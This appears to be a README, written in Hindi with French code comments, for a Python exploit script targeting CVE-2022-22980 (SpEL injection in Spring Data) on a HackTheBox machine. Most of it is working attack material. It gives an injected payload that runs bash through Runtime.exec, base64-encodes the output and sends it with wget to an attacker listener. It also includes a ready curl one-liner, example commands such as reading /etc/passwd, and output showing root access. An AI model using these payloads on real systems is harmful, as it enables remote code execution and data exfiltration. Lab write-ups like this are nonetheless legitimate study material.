
CVE-2022-22980 का शोषण
Spring Data पर SpEL (Spring Expression Language) इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन (RCE) के लिए एक्सप्लॉइट।
यह बॉक्स एक /search एंडपॉइंट उजागर करता है जो tracking_id पैरामीटर स्वीकार करता है जो SpEL इंजेक्शन के लिए संवेदनशील है। यह इंजेक्शन सर्वर पर सीधे दुर्भावनापूर्ण Java एक्सप्रेशंस के निष्पादन की अनुमति देता है।
Runtime.getRuntime().exec() के माध्यम से शेल कमांड निष्पादित करने वाला एक SpEL एक्सप्रेशन इंजेक्ट करेंhttp.server, subprocess, threading, base64)LPORT बदलें)अपने वातावरण के अनुसार स्क्रिप्ट में पैरामीटर बदलें:
TARGET = "http://<IP_CIBLE>:8080/search" # URL de la cible
LHOST = "<VOTRE_IP>" # IP locale (tun0 pour HTB)
LPORT = 80 # Port d'écoute
# Commande simple
python3 spel_shell.py "whoami"
# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"
# Énumération système
python3 spel_shell.py "uname -a"
# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
यदि आप स्क्रिप्ट के बिना payload का परीक्षण करना चाहते हैं:
# Terminal 1 : Démarrer le listener
python3 -m http.server 80
# Terminal 2 : Envoyer la payload
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
http://<IP_CIBLE>:8080/search
पोर्ट 80 व्यस्त है। समाधान:
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80
# Arrêter Apache si actif
sudo systemctl stop apache2
# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez
python3 spel_shell.py "echo test"sudo की आवश्यकता होती हैifconfig का उपयोग करें (HTB के लिए tun0) और 127.0.0.1 नहींयदि आपको "Command output" के बजाय "Raw data received" दिखाई देता है, तो कमांड ने वैध आउटपुट उत्पन्न नहीं किया होगा। एक ऐसी कमांड का परीक्षण करें जो हमेशा आउटपुट उत्पन्न करती है।
1. start_server() - Lance un serveur HTTP sur le port 80
↓
2. Envoie la payload SpEL via curl vers la cible
↓
3. La cible exécute la commande et encode le résultat en base64
↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
↓
5. Le Handler reçoit la data et la stocke
↓
6. Le script décode et affiche le résultat
यह स्क्रिप्ट HackTheBox बॉक्सेस के लिए शैक्षिक उद्देश्यों में प्रदान की गई है। इसका उपयोग केवल उन वातावरणों पर करें जिन्हें परीक्षण करने की आपके पास अनुमति है।
लेखक : Eliasdekiniweek
दिनांक : फ़रवरी 2026
भाषा : Python 3